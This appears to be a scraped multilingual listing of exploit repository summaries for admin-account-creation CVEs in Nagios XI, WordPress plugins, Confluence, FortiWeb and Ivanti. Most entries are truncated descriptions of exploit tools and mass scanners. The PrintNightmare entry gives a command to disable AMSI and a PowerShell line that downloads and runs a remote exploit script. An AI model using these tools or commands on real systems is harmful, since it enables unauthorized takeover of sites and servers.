CVE-2024-24401

漏洞报告 CVE 发现 （设计用于在 Kali Linux 上运行） 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞，请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情： 端点：/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型：已验证的 SQL 注入 利用结果：创建管理员账户并实现完全远程代码执行 概念验证： 附带了演示该漏洞的 Python 脚本 建议： 为降低 SQL...

CVE-2026-5118

CVE-2026-5118 — Divi Form Builder = 5.1.2 — Escalada de Privilegios No Autenticada mediante Inyección de Rol 🔥 Resumen de la Vulnerabilidad El plugin de WordPress Divi Form Builder en versiones = 5.1.2 es vulnerable a una escalada de privilegios no autenticada. Esta falla crítica permite a...

CVE-2023-22515-Scan.

Escaneo CVE-2023-22515 Acerca de Este es un escáner simple para CVE-2023-22515, una vulnerabilidad crítica en Atlassian Confluence Data Center y Server que está siendo explotada activamente en la naturaleza por actores de amenazas para "crear cuentas de administrador de Confluence no autorizadas ...

CVE-2025-3102

CVE-2025-3102 🛠️ SureTriggers 漏洞利用脚本 此脚本用于识别和利用 WordPress 站点中运行存在漏洞版本（≤ v1.0.78）的 SureTriggers 插件中的安全漏洞。如果成功，脚本将自动创建一个 WordPress 管理员账户。 ⚙️ 功能特性 检测 SureTriggers 插件版本 验证 WordPress 登录页面（wp-login.php） 通过 REST API 端点执行漏洞利用 若目标存在漏洞则创建 WordPress 管理员用户 将结果保存到 vulnerable.txt 文件 多线程加速处理 使用随机 User-Agent 🚀...

CVE-2023-22515-Scan

CVE-2023-22515-Scan 关于 这是一个简单的扫描器，用于检测 CVE-2023-22515，这是一个在 Atlassian Confluence Data Center 和 Server 中存在的严重漏洞，正被威胁行为者在野外积极利用，以“创建未授权的 Confluence 管理员账户并访问 Confluence 实例”。该漏洞最初被描述为“权限提升”问题，但 Atlassian 后来在其安全公告中将其分类更改为“访问控制失效”。 CVE-2023-22515 时间线 2023年10月4日：Atlassian 发布了关于 CVE-2023-22515...

CVE-2023-3460

CVE-2023-3460 - Ultimate Member 插件未授权管理员权限获取 POC CVSS 评分：9.1 日期：2023/07/04 什么是 Ultimate Member 插件？ Ultimate Member 插件是一个流行的用户注册会员插件，拥有超过 20 万活跃安装量。 快速检查 2023 年 7 月 7 日，Ultimate Member 插件中发现了一个严重漏洞，攻击者可以通过权限提升技术创建管理员账户，从而完全控制 WordPress 网站。 那么该漏洞如何利用？ 如果我们看一下 WordPress...

CVE-2025-0282

PoC para CVE-2025-0282 Desbordamiento de búfer de pila remoto no autenticado en productos Ivanti Resumen Esta prueba de concepto demuestra la explotación de CVE-2025-0282, una vulnerabilidad crítica que afecta a: Ivanti Connect Secure Ivanti Policy Secure Ivanti Neurons for ZTA gateways Basado en...

CVE-2025-6934

CVE-2025-6934 – Explotación de WordPress Opal Estate Pro 📖 Descripción Este repositorio contiene un exploit de Prueba de Concepto PoC para CVE-2025-6934 , una vulnerabilidad crítica en el Plugin de WordPress: Opal Estate Pro = 1.7.5, que permite la creación de cuentas de administrador sin...

CVE-2015-9357-POC

CVE-2015-9357 WordPress 表情解析器存储型跨站脚本，通过伪造 nonce 请求创建管理员用户。 通过表情符号正则表达式突破 属性上下文，将 JavaScript 注入 onerror 处理程序。无需 script 标签，可绕过受影响字段上的 wpkses 过滤。 攻击链：将载荷提交到任何会进行表情转换的字段，管理员查看后，XSS 在其会话中触发，从 user-new.php 拉取创建用户的 nonce，提交新的管理员账户，通过登录确认。 仅限实验室/教育用途。要求目标字段实际应用 WordPress 表情转换，因主题/插件而异。...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro 批量扫描器与自动管理员创建器 📌 描述 该工具利用 CVE-2026-8732 ，这是 WordPress 的 WP Google Map Pro 插件中的一个漏洞。该漏洞允许未认证的攻击者通过 AJAX 端点（admin-ajax.php?action=wpgmptempaccessajax）获取有效的 wpmptoken。攻击者可以使用此令牌访问 WordPress 管理面板并创建新的管理员用户。 该工具基于域名列表执行批量扫描 ，提取 nonce...

CVE-2018-15365

Reflected XSS en Deep Discovery Inspector 3.8 He encontrado una vulnerabilidad XSS reflejada en la interfaz web de administración de Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. La ruta del script vulnerable es /php/detectiondetailfilter.php. Este script solo es accesible por un...

CVE-2023-22518

CVE-2023-22518 Verificador de las vulnerabilidades críticas CVE-2023-22518 y CVE-2023-22515 en Confluence. Descripción Este script está diseñado para verificar y explotar vulnerabilidades en instancias de Atlassian Confluence. Comprueba la vulnerabilidad CVE-2023-22518 y explota la vulnerabilidad...

LetsDefend-SOC235-Atlassian-Confluence-Broken-Access-Control-0-Day-CVE-2023-22515-EventID-197

LetsDefend-SOC235-Atlassian-Confluence-访问控制失效零日漏洞-CVE-2023-22515-事件ID-197 我收到了一条高严重性告警，提示可能存在针对 CVE-2023-22515（Atlassian Confluence 中的一个零日漏洞）的利用尝试。告警显示，一个可疑的 GET 请求来自外部 IP，目标指向 Confluence 服务器，表明攻击者试图获取未授权的管理员访问权限。 该漏洞允许攻击者向 Confluence 实例 发送精心构造的请求，从而静默创建管理员账户，立即获得未授权控制。利用过程通常涉及从外部 IP...

CVE-2026-51119

CVE-2026-51119 - Invixium IXM WEB v2.3.85.25 中的权限提升 概述 在 Invixium IXM WEB v2.3.85.25 中存在一个权限提升漏洞，原因是 POST /SystemUsers/CreateAppUser 端点缺少授权检查。 经过身份验证的低权限用户可以滥用此端点创建新的管理员账户，从而导致完全的管理员访问权限。 CVE： CVE-2026-51119 供应商： Invixium 产品： IXM WEB 受影响版本： 2.3.85.25 严重性： 高（权限提升） 漏洞描述 应用程序暴露了端点： root@kitploit: PO...

CVE-2025-4334

CVE-2025-4334 - Simple User Registration --form 参数： -u / --url → WordPress 基础 URL（例如 https://target.com/wordpress/） --form → 注册表单的完整 URL（例如 https://target.com/wpr/default-registration/） 示例： root@kitploit: python3 CVE-2025-4334.py -u https://example.com/wordpress --form...

cve-2021-1675

cve-2021-1675 禁用AMSI：（复制到PowerShell） https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt 执行 invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 创建管理员账户 Invoke-Nightmare -DriverName...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb 严重认证绕过与路径遍历漏洞 严重未认证漏洞，允许远程攻击者在 FortiWeb 设备上创建管理员账户。 📌 概述 CVE-2025-64446 是 FortiWeb Web 应用防火墙管理界面中的一个严重相对路径遍历 漏洞。 未经认证的远程攻击者可以利用此漏洞绕过认证 并创建具有完全权限的新管理员用户，从而导致设备完全失陷。 CVSS v3.1 评分 ：9.8（严重） 攻击类型 ：远程未认证 影响 ：完全管理权限接管 状态 ：已在野外被积极利用 🛠️ 受影响版本 产品| 受影响版本| 修复版本 ---|---|--- FortiWeb...

CVE-2025-27007-OttoKit-exploit

CVE-2025-27007: Vulnerabilidad de Escalada de Privilegios en OttoKit SureTriggers Explotación de CVE-2025-27007, una vulnerabilidad crítica de escalada de privilegios no autorizada en el plugin OttoKit anteriormente conocido como SureTriggers para WordPress. Este repositorio describe cómo un...

CVE-2026-71503

Dolibarr before 24.0.0 contains a reflected cross-site scripting vulnerability in the extra fields administration template where the type request parameter is echoed without JavaScript-context encoding into an inline script block and no Content-Security-Policy header is emitted. An unauthenticate...

CVE-2026-71503 Dolibarr < 24.0.0 Reflected XSS via Extra Fields Administration Template

Dolibarr before 24.0.0 contains a reflected cross-site scripting vulnerability in the extra fields administration template where the type request parameter is echoed without JavaScript-context encoding into an inline script block and no Content-Security-Policy header is emitted. An unauthenticate...